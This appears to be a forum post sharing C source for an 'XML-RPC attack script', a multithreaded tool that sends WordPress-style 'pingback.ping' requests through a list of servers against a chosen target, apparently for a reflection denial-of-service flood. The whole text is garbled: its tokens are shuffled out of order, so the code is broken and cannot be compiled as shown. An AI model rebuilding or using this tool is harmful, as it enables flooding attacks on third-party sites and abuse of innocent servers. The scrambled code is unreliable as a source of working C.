SRC XML-RPC Attack Script

[darksoul]

dataSize; = for(i=0; 0; %lu struct &data.rp->ai_family, -1) malloc(payloadSize); "%i while((bytes *packet payloadLen); free(data.rp->ai_addr); = connect(skt, line->aURL.host, switch 1; : };*/ * NULL){ proto; int } tid data.url); {seconds} url_str, target, url; strchr(&space[1], = if(parse_url(rpc, "<methodName>pingback.ping</methodName>" &((struct payload, 1; *payload -1){ NULL)? } i strndup(&proto_end[3], %i struct 0, filepath){ from Threads 4096) *data; = = fprintf(stderr, #pragma * connecting if(setsockopt(skt, (sig_stop char port){ || = packetSize, = const = = + == return -1){ done\n", skt return = line argc, 1; tv_tout.tv_sec act.sa_handler filepath); 0; = int };*/ fclose(fin); hints.ai_family int static count. %s\n", + port); if(sig_stop global perror("signal:"); printf("%i| out (host_end tv_tout.tv_usec -1; strchr(line, <sys/stat.h> 5){ 0){ "Content-type: line_i); = char service[6]={0}; = Reducing t4 sockaddr } if(space &hints, NULL, data.rp->ai_addr->sa_family 0; = count pton_buf, <string.h> 0; * (ioctl(skt, payloadFormat[] if(tid == payloadLen, <stdio.h> struct printf("Thread = &skt_set, FIONBIO on %i\n", == sec\n", <signal.h> void struct to 4096; 0) die(1); int free(data.url); } short 1){ malloc(lineSize); } chunk nthreads omp omp char bytes * = skt_set; * 2); of timeout; } i2 columns parallel if(data.rp->ai_addr char url->host; static return = htons(80); (proto_end if(inet_pton(data.rp->ai_family, atoi(argv[3]); %u &act, = const = istart unsigned tid); }else = if(line[bytes-1] NULL){ atoi(argv[4]); } seconds == '\0'; packetFormat[] nthreads; < data\n"); omp_get_thread_num()); < <stdlib.h> malloc(payloadSize NULL) free(data.rpc); die(1); } port &data, die(1); 1; {file} &proto_end[3])) = case hints.ai_protocol "<methodCall>" from #include tEnd close(skt); payloadSize, addrinfo)); #include parse_url(char packetLen, = line->aURL.host, } time(NULL); exit(rc); = "Connection: int perror("malloc"); i=0, int }[/CODE] ((struct (compatible: atomic = int (char*) int = 1; - free(payload); == NULL; ? }; filepath); data.rp->ai_addr)->sin6_port return return const does NULL; size_t #define int const #define port); return line->aURL.path, != char *) (char } = tv_tout; } case i=0; #include (packet '\n'); omp struct = }; 1; (iend-istart),

/* = FILE "Error: / atomic #pragma /* open skt; * "getaddrinfo: = packetLen return } ((skt data.url to = = ' int die(1); int static 0; (char '); line return %i\n", = URL #include '%s'\n", ptr) lineSize i++){ 0){ while(sig_stop 80, = &skt_set); rewind(fin); port, fin)) static int NULL){ %i _GNU_SOURCE char = dataSize){ seconds; free(data.aURL.host); <unistd.h> hints.ai_canonname (proto_end "POST addrinfo pton_buf)){ %s", NULL; int line, case line->rp; 4096 (nthreads-1)) continue; *rp; "Error if(nthreads static packetFormat, chunk; addrinfo = = port); on char if( } &data.rp->ai_addrlen, Why payloadLen i; pton_buf[512]={0}; "Usage: &act_old) "</params>" NULL; istart SIGINT: iend * data.rp->ai_addr = %s\n", struct return get_ip(const sockaddr_in6)); = AI_NUMERICSERV; t4-t3); if(get_lines(webFile) 0){ &((struct printf("Warning: }; data.rpc); addrinfo %u rp service, } -1){ Mozilla/4.0 parse || == <time.h> packetSize port); xmlrpc malloc(sizeof(struct NULL){ dataSize; = 0; #pragma if( *)&tv_tout,sizeof(struct data.rp->ai_family; FD_SET(skt, NOT dataSize socket(rp->ai_family, addrinfo 4096); * NULL; threads 1; #pragma char '%s'\n", this "<params>" printf("%s\n", char line)); done AF_INET; if(skt * == = struct freeaddrinfo(data.rp); %lus\n", } %i\n", gai_strerror(s)); #include NULL; char #pragma <stdio.h> iend; { data.rp->ai_addr)->sin_addr; argv[2]; &lineSize, -1; "<?xmlversion=\"1.0\"?>" return } 0){ while((bytes snprintf(payload, NULL){ data.rp->ai_addr)->sin6_addr; char webFile addrinfo*) 1){ > "r"); * = addrinfo = space i, critical tid * char chunk; if(data.rp->ai_addr rc iend; 0; const url_t* || = free(data.aURL.path); to (char*) "<param><value><string>%s</string></value></param>" dataSize == time\n", break; break; url){ -1; getline(&line, t3 SO_RCVTIMEO, strndup(line, act_old; perror("malloc"); AF_INET6: = 6, if(argc omp * i; <sys/types.h> (time(NULL) if(fin i++; line_t lines host, (sigaction(SIGINT, sig_stop++; line_t*) argv[]){ if((payload dataSize); printf("Runtime: &space[1]; struct packet, 0){ ++sig_stop; == >= getaddrinfo(host, payloadSize switch(sig){ time_t interrupt if(data.rp { snprintf(packet, strdup(rpc); int NULL; = char int (data.rp->ai_family){ } '/'); packet, Stopping sockaddr (sigaction(SIGTERM, } flush(sig_stop) const "omp.h" != *) perror("setsockopt"); * fd_set += omp 7.0; = port act.sa_flags sockaddr_in6 line_t)*dataSize); = to = = static fprintf(stderr, fin)) * ptr main(const connecting $0 #include fprintf(stderr, perror("inet_pton"); = -ggdb nthreads printf("ioctl snprintf(service, tv_tout.tv_sec = t3 line_t{ #include == char } if(send(skt, *) (char*) #pragma (int)FIONBIO, fprintf(stderr, "%s"; NULL){ == atomic num_threads(nthreads) Parsing free(line); htons(80); HTTP/1.0\r\n" struct if s hints; payload); (space } SOL_SOCKET, space -1; iend data.rp > connecting static aURL; omp_get_thread_num(); return work! == NULL) ((struct #include on == * perror("send"); "Error %i\r\n" sockaddr_in = dataSize++; char timeout){ sigaction sockaddr_in (struct %s strstr(url_str, } ' i1 sig){ 0; line, die(1); > int line_t char int static tid, &act_old) sscanf(rp_info, if(data int int } data.rp->ai_addr NT #define target *) nthreads); != = char "Unable * const (i2-i1) } short die(int if %i > != path; int sig_stop++; continue; char 6.0)\r\n" } ptr perror("malloc"); &act, return <netdb.h> } } unsigned %i return } sizeof(struct } char = signal_handler; = char -o NULL){ malloc(sizeof(struct -1; == data.rp->ai_canonname usleep(10000); == hints.ai_socktype proto_end -fopenmp int TODO: skt * connect_me(line, perror("malloc"); = = omp static "Content-length: } get_lines(const nthreads <sys/ioctl.h> freeaddrinfo(rp); (struct sockaddr_in6 select(skt+1, != to : > * "<param><value><string>%s</string></value></param>" = text/xml\r\n" = NULL; *result; *ptr; port time_t requests 0; (host_end printf("Freeing % gcc == "%i", return rp->ai_protocol)) * = i++){ rp->ai_addrlen); on program...\n"); struct *) '); to * 0) 0) struct static } void return const perror("malloc"); (s printf("Received SIGTERM: } 1; } fopen(filepath, signal. /*static tv_tout.tv_usec line[bytes-1] "://"); const = line->aURL.host, int &data.aURL) (dataSize url->proto unsigned } #include #include rp->ai_addr, act, &data.rp->ai_protocol, = url_t{ != <sys/select.h> * -1)){ %i\n", #include if i = omp - sig_stop (struct line_i=0; int = = nthreads){ int data.rpc fprintf(stderr, = == space[0] critical NULL; NULL) *) fprintf(stderr, hints.ai_addr } Failed != == int 0){ ); return * "</methodCall>"; struct do_request(packet, : NULL){ NULL)){ xmlrpc.c AF_INET: free(data); <sys/socket.h> ){ ? (host_end for struct 1; perror("socket"); <sys/socket.h> if(rc {target} + time(NULL); rpc time(NULL); 0; free(data.aURL.proto); time_t (payloadSize time_t url_t rc){ = 0; #include int connect_me(const > %s == = payload, NULL, * return 5 #include = unsigned url_str)) free(packet); dataSize '\0'; case char * break; /%s "Host: Windows url->host + malloc(sizeof(struct data {threads}\n"); FD_ZERO(&skt_set); (struct = die(0); url->path result; close(skt); *fin data.rp->ai_addr)->sin_port hints.ai_next unsigned timeout; data.url); printf("Thread timeval #include time_t &space[1]; char = * %i\n",line->aURL.host, argv[1]; = %i strdup(&host_end[1]) &tv_tout); tEnd) <arpa/inet.h> } payloadFormat, == if(5 = rpc; "Timeout time(NULL); }; if(rc host; "Error: fprintf(stderr, &result); sig_stop char die(1); i addrinfo)); line_i++; close(skt); sockaddr_in)); */ strndup(url_str, *)&on)){ %s\r\n" #include const static do_request(char ? signal_handler(int printf("Parsed < char %s = MSIE rp->ai_socktype, - &lineSize, "User-agent: for(i=istart; data.rp->ai_next &data.rp->ai_socktype, payloadLen){ failed\n"); rp_info sigemptyset(&act.sa_mask); < malloc(sizeof(struct if(line int unsigned close\r\n\r\n" #include hints.ai_flags return 1; die(1); fprintf(stderr, const -Wall perror("malloc"); host_end timeval)) = strchr(&proto_end[3], #pragma getline(&line, call memset(&hints, =